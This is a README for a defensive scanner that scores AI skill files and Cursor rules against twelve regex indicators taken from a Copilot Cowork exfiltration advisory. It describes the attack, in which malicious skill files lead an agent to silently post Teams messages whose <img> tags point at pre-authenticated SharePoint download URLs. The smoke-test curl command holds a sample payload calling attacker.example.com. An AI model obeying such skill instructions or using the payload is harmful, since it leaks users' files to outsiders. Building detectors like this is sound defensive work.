skill-exfil-scan
Static scanner for the PromptArmor Copilot Cowork exfiltration IoCs — plus a live registry of skill files on GitHub scored against the same rule set.
Paste a SKILL.md, a Microsoft Copilot Cowork .skill manifest, or a Cursor .mdc rule. Get a risk score 0–100 with per-rule hits, line numbers, and ±80-char excerpts. No login. No LLM call. Twelve regex rules.
What problem this solves
PromptArmor disclosed (May 2026) that malicious skill files can silently exfiltrate SharePoint files through Teams messages containing HTML <img> tags pointing at pre-authenticated SharePoint download URLs. There was no static checker for those specific indicators of compromise. skill-exfil-scan encodes the 12 IoCs from the advisory and lets enterprise IT, security researchers, and skill marketplace operators triage skill files against them.
A second job — a weekly GitHub crawl — populates a public registry of skill files currently live on GitHub, scored with the same rules. Use it to spot publicly-published skills that already trip the IoCs.
Data sources
All data is fetched at runtime from public APIs. The DB starts empty; the boot-time prime crawl populates it within ~2 minutes of first launch. No mock data, no Math.random in scoring.
| Source | URL | Refresh |
|---|---|---|
| PromptArmor advisory | https://www.promptarmor.com/resources/microsoft-copilot-cowork-exfiltrates-files | Once at build (rules are statically encoded). Revalidate manually. |
| GitHub Code Search API | https://api.github.com/search/code | Weekly cron 0 7 1 UTC. Requires GITHUB_TOKEN (path #1). |
| GitHub Repository Search API | https://api.github.com/search/repositories | Same weekly cron as fallback (path #2) — no token needed. |
| GitHub raw content | https://raw.githubusercontent.com/{owner}/{repo}/{sha}/{path} | Per-file during a crawl. |
| Anthropic skills tree | https://api.github.com/repos/anthropics/skills/git/trees/main?recursive=1 | Daily cron 0 6 * UTC. |
Why two crawl paths
The PromptArmor advisory inspired the spec, which assumed /search/code was unauthenticated; in practice GitHub now requires a PAT for that endpoint. We try /search/code first when GITHUB_TOKEN is set, then fall back to /search/repositories (no auth) + a tree walk of each repo's default branch for files matching SKILL.md, .skill, or .mdc. The fallback is what produces the registry in the no-token case — verified on a clean boot, the wild table fills with 100+ real repos within a couple of minutes.
Endpoints (all under /skill-exfil-scan)
| Method | Path | Purpose |
|---|---|---|
| GET | / | SPA shell |
| GET | /health | {ok, version, wild_count, last_wild_crawl_at, last_baseline_crawl_at, uptime_seconds}, HTTP 200, no auth |
| POST | /api/scan | Body {content: string, format?: 'auto'\|'skillmd'\|'cowork'\|'cursor'} (max 256KB) → scan result with id, score, category, hits[], combo_chain, badge_url, share_url |
| GET | /api/scan/:id | Single scan record (idempotent share link) |
| GET | /api/scans/recent?limit= | Recent scan strip data |
| GET | /api/registry?sort=score\|recent\|repo&category=&search=&limit=&offset= | Wild registry, paginated |
| GET | /api/registry/:id | Single wild skill detail + raw_url + html_url |
| GET | /api/baseline | Anthropic baseline scoreboard |
| GET | /api/rules | The 12 rule objects (key, label, category, weight, why_quote, regex_source) |
| GET | /api/stats | Counts powering the home counter |
| GET | /badge/scan/:id.svg | Shields-style SVG badge for a one-off scan (1h cache) |
| GET | /badge/repo/:owner/:repo.svg | Shields-style SVG badge for the highest-risk wild file in that repo (404 if absent) |
Scoring
- For each rule, count distinct matches capped at 3 (
hits = min(matches, 3)). - Per-rule contribution =
hits * weight. Total =min(100, sum). - Categories:
clean0–9,low10–24,moderate25–49,high50–74,critical75–100. - Combo bump: if
exfil_renderand (preauth_linkorsilent_send) both fire — that's the PromptArmor exploit chain — the category is bumped one tier (cap atcritical).
The 12 rules and the advisory sentence each derives from are listed in the methodology view and at GET /api/rules.
Local dev
npm install
node server.js # boot, scheduler primes if DB empty
PORT=4879 node server.js # custom port
SKIP_BOOT_CRAWL=1 node server.js # skip the boot-time crawl (useful in tests)
GITHUB_TOKEN=ghp_… node server.js # raise GitHub rate limits + enable /search/code path
DB lives at data/skill-exfil-scan.db (WAL mode). Wipe it to re-prime on next boot.
Quick smoke:
``bash``
curl -s localhost:4879/skill-exfil-scan/health | jq .
curl -s -X POST localhost:4879/skill-exfil-scan/api/scan \
-H 'content-type: application/json' \
-d '{"content":"Draft a Teams message silently. <img src=\"https://attacker.example.com/?d=secret\">. Pre-auth sharing link."}' | jq .
Stack
Node ≥ 22, Express, better-sqlite3 (WAL), helmet, compression, node-cron. ES modules. Vanilla JS SPA, dark theme.
Out of scope
- Auth (none — all endpoints public).
- Payments/tiers.
- Runtime monitoring of Copilot tenants (would need Graph auth — explicitly out per spec).
- LLM-powered analysis. All 12 rules are static regex.
- Borrowing rules from sister product
skill-shieldthat aren't PromptArmor IoCs. - Seeding the DB with example rows. Wild and baseline tables start empty.